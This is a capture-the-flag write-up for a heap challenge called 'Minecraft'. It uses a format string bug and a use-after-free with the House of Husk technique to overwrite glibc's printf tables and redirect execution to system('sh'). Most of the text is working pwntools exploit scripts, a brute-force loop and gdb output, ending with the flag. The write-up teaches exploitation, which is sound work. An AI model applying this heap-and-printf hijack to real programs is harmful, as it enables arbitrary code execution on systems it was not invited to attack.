# Minecraft This is a heap challenge with a new technique called `House of Husk`. You can read this technique [here](https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507) or [here](https://maxIlldulin.com/BlogPost?post=3107454976). At first reading the decompiler, I notice there is a **Format String** bug when I `(l)eak the end poem`. There is also a **Use-After-Free** bug when I `(b)reak a block` and keep it in inventory and then `(r)eplace a block`. Other options are secured, no of-by-one or any bug so I are sure I will use technique `House of Husk` for this challenge. Trying to write a script as first link above, I can get arbitrary execution now: ```python #!/usr/bin/python3 from pwn import * import subprocess def sla(msg, content): p.sendlineafter(msg, content) def sa(msg, content): p.sendafter(msg, content) def PlaceBlock(idx, len, content): sla(b'poem\n', b'p') sla(b'idx: \n', f'{idx}'.encode()) sla(b'len: \n', str(len).encode()) sa(b'block: \n', content) def ReplaceBlock(idx, content): sla(b'poem\n', b'r') sla(b'idx: \n', f'{idx}'.encode()) sa(b'block: \n', content) def BreakBlock(idx, keep): sla(b'poem\n', b'b') sla(b'idx: \n', f'{idx}'.encode()) sla(b'inventory? \n', keep) def LeakPoem(idx): sla(b'poem\n', b'l') sla(b'idx: \n', f'{idx}'.encode()) def offset2size(offset): return offset * 2 - 0x10 elf = ELF('./vuln_patched') libc = ELF('./libc.so.6') context.binary = exe context.log_level = 'debug' PRINTF_FUNCTABLE = 0x3f0738 PRINTF_ARGINFO = 0x3ec870 GLOBAL_MAX_FAST = 0x3ed940 MAIN_ARENA = 0x3ebc40 p = process(elf.path) PlaceBlock(0, 0x500, b'0'*8) # Use After Free PlaceBlock(1, offset2size(PRINTF_FUNCTABLE - MAIN_ARENA), b'1'*8) # prepare fake printf arginfo table payload = flat( b'\x00'*(0x58-2)*8, 0xdeadbeef, ) PlaceBlock(2, offset2size(PRINTF_ARGINFO - MAIN_ARENA), payload) PlaceBlock(3, 0x500, b'%X\x00') # unsorted bin attack BreakBlock(0, b'y') ReplaceBlock(0, b'A'*8 + p16(0x6940 - 0x10)) PlaceBlock(0, 0x500, b'0'*8) # overwrite __printf_arginfo_table and __printf_function_table BreakBlock(1, b'n') BreakBlock(2, b'n') LeakPoem(3) p.interactive() ``` And jumped into `0xdeadbeef` when run without ASLR: ```gdb [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0xdeadbeef $rbx : 0x007fffffffa7d0 → 0x00000000ffffffff $rcx : 0x007fffffffa810 → 0x00000000ffffffff $rdx : 0x007fffffffa804 → 0x0000000000000000 $rsp : 0x007fffffffa698 → 0x00155554fb6216 → <__parse_one_specmb+1606> movsxd rcx, eax $rbp : 0x0 $rsi : 0x1 $rdi : 0x007fffffffa7d0 → 0x00000000ffffffff $rip : 0xdeadbeef $r8 : 0x007fffffffb198 → 0x0000003000000008 $r9 : 0x0 $r10 : 0x001555550d7bc0 → 0x0002000200020002 $r11 : 0x00000000402099 → add BYTE PTR [rbp+riz*2+0x6e], ch $r12 : 0x0 $r13 : 0x1 $r14 : 0x007fffffffa7d0 → 0x00000000ffffffff $r15 : 0x000000004105c0 → 0x00000000005825 ("%X"?) $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ─────────────────────────────────────────────────────────────────────────────────── stack ──── 0x007fffffffa698│+0x0000: 0x00155554fb6216 → <__parse_one_specmb+1606> movsxd rcx, eax ← $rsp 0x007fffffffa6a0│+0x0008: 0x0000000000000000 0x007fffffffa6a8│+0x0010: 0x000000004105c2 → 0x0000000000000000 0x007fffffffa6b0│+0x0018: 0x0000000000000000 0x007fffffffa6b8│+0x0020: 0x0000000000000000 0x007fffffffa6c0│+0x0028: 0x007fffffffb030 → 0x007fffffffb5e0 → 0x007fffffffdcd0 → 0x007fffffffdde0 → 0x00000000401740 → <__libc_csu_init+0> endbr64 0x007fffffffa6c8│+0x0030: 0x000000000000000e 0x007fffffffa6d0│+0x0038: 0x0000000000000001 ───────────────────────────────────────────────────────────────────────────── code:x86:64 ──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0xdeadbeef ───────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "vuln_patched", stopped 0xdeadbeef in ?? (), reason: SIGSEGV ─────────────────────────────────────────────────────────────────────────────────── trace ──── ────────────────────────────────────────────────────────────────────────────────────────────── gef➤ ``` Looking at rdi, it seems like I can control that. Debug printf a bit and I can see it jump to `__parse_one_specmb` before it execute `0xdeadbeef`. Viewing source [here](https://elixir.bootlin.com/glibc/glibc-2.27/source/stdio-common/printf-parsemb.c#L61) ```c if ( __builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) { ... } ``` The first 3 checks are false so it execute the function inside `__printf_arginfo_table[spec->info.spec]`, which I faked to `0xdeadbeef`. The first argument is `&spec->info` which is our rdi and `info` is also a struct which you can find [here](https://elixir.bootlin.com/glibc/glibc-2.27/source/stdio-common/printf-parse.h#L26) (structure of `spec`) and [here](https://elixir.bootlin.com/glibc/glibc-2.27/source/stdio-common/printf.h#L34) (structore of `info`). So I need to control `&spec->info.prec` to have a string `sh`. So just replace the format string above into `%d` to modify `&spec->info.prec`: ```python p = process(exe.path) PlaceBlock(0, 0x500, b'0'*8) # Use After Free PlaceBlock(1, offset2size(PRINTF_FUNCTABLE - MAIN_ARENA), b'1'*8) # prepare fake printf arginfo table payload = flat( b'\x00'*(ord('d')-2)*8, # <-- Change here 0xdeadbeef, ) PlaceBlock(2, offset2size(PRINTF_ARGINFO - MAIN_ARENA), payload) PlaceBlock(3, 0x500, b'%.26739d\x00') # <-- Change here # unsorted bin attack BreakBlock(0, b'y') ReplaceBlock(0, b'A'*8 + p16(0x6940 - 0x10)) PlaceBlock(0, 0x500, b'0'*8) # overwrite __printf_arginfo_table and __printf_function_table BreakBlock(1, b'n') BreakBlock(2, b'n') LeakPoem(3) p.interactive() ``` Debug with gdb and I get rdi contain string `sh`: ```gdb [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0xdeadbeef $rbx : 0x007fffffffa7d0 → 0x00000000006873 ("sh"?) $rcx : 0x007fffffffa810 → 0x00000000ffffffff $rdx : 0x007fffffffa804 → 0x0000000000000000 $rsp : 0x007fffffffa698 → 0x00155554fb6216 → <__parse_one_specmb+1606> movsxd rcx, eax $rbp : 0x0 $rsi : 0x1 $rdi : 0x007fffffffa7d0 → 0x00000000006873 ("sh"?) $rip : 0xdeadbeef $r8 : 0x7ffffff6 $r9 : 0x7fffffff $r10 : 0x001555550d7bc0 → 0x0002000200020002 $r11 : 0x00000000402099 → add BYTE PTR [rbp+riz*2+0x6e], ch $r12 : 0x0 $r13 : 0x1 $r14 : 0x007fffffffa7d0 → 0x00000000006873 ("sh"?) $r15 : 0x000000004105c0 → "%.26739d" $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ─────────────────────────────────────────────────────────────────────────────────── stack ──── 0x007fffffffa698│+0x0000: 0x00155554fb6216 → <__parse_one_specmb+1606> movsxd rcx, eax ← $rsp 0x007fffffffa6a0│+0x0008: 0x0000000000000000 0x007fffffffa6a8│+0x0010: 0x000000004105c8 → 0x0000000000000000 0x007fffffffa6b0│+0x0018: 0x0000000000000000 0x007fffffffa6b8│+0x0020: 0x0000000000000000 0x007fffffffa6c0│+0x0028: 0x007fffffffb030 → 0x007fffffffb5e0 → 0x007fffffffdcd0 → 0x007fffffffdde0 → 0x00000000401740 → <__libc_csu_init+0> endbr64 0x007fffffffa6c8│+0x0030: 0x000000000000000e 0x007fffffffa6d0│+0x0038: 0x0000000000000001 ───────────────────────────────────────────────────────────────────────────── code:x86:64 ──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0xdeadbeef ───────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "vuln_patched", stopped 0xdeadbeef in ?? (), reason: SIGSEGV ─────────────────────────────────────────────────────────────────────────────────── trace ──── ────────────────────────────────────────────────────────────────────────────────────────────── gef➤ ``` Because I don't have address of libc so reusing address of binary is the best choice now, also there is function `system@plt`, I just need to change from `0xdeadbeef` to `system@plt` to get shell now: ```python p = process(exe.path) PlaceBlock(0, 0x500, b'0'*8) # Use After Free PlaceBlock(1, offset2size(PRINTF_FUNCTABLE - MAIN_ARENA), b'1'*8) # prepare fake printf arginfo table payload = flat( b'\x00'*(ord('d')-2)*8, exe.plt['system'], # <-- Change here ) PlaceBlock(2, offset2size(PRINTF_ARGINFO - MAIN_ARENA), payload) PlaceBlock(3, 0x500, b'%.26739d\x00') # unsorted bin attack BreakBlock(0, b'y') ReplaceBlock(0, b'A'*8 + p16(0x6940 - 0x10)) PlaceBlock(0, 0x500, b'0'*8) # overwrite __printf_arginfo_table and __printf_function_table BreakBlock(1, b'n') BreakBlock(2, b'n') LeakPoem(3) p.interactive() ``` Executing script without aslr, `python3 solve.py NOASRL`, I can get shell now. The other thing is to bruteforce address of `global_max_fast`. Full script for this: ```python while True: p = process(exe.path) PlaceBlock(0, 0x500, b'0'*8) # Use After Free PlaceBlock(1, offset2size(PRINTF_FUNCTABLE - MAIN_ARENA), b'1'*8) # prepare fake printf arginfo table payload = flat( b'\x00'*(ord('d')-2)*8, exe.plt['system'], ) PlaceBlock(2, offset2size(PRINTF_ARGINFO - MAIN_ARENA), payload) PlaceBlock(3, 0x500, b'%.26739d\x00') # unsorted bin attack BreakBlock(0, b'y') ReplaceBlock(0, b'A'*8 + p16(0x6940 - 0x10)) try: PlaceBlock(0, 0x500, b'0'*8) # overwrite __printf_arginfo_table and __printf_function_table BreakBlock(1, b'n') BreakBlock(2, b'n') except: p.close() continue LeakPoem(3) p.interactive() ``` Flag: `ictf{pr1ntf_is_p0werful_86b21f38}`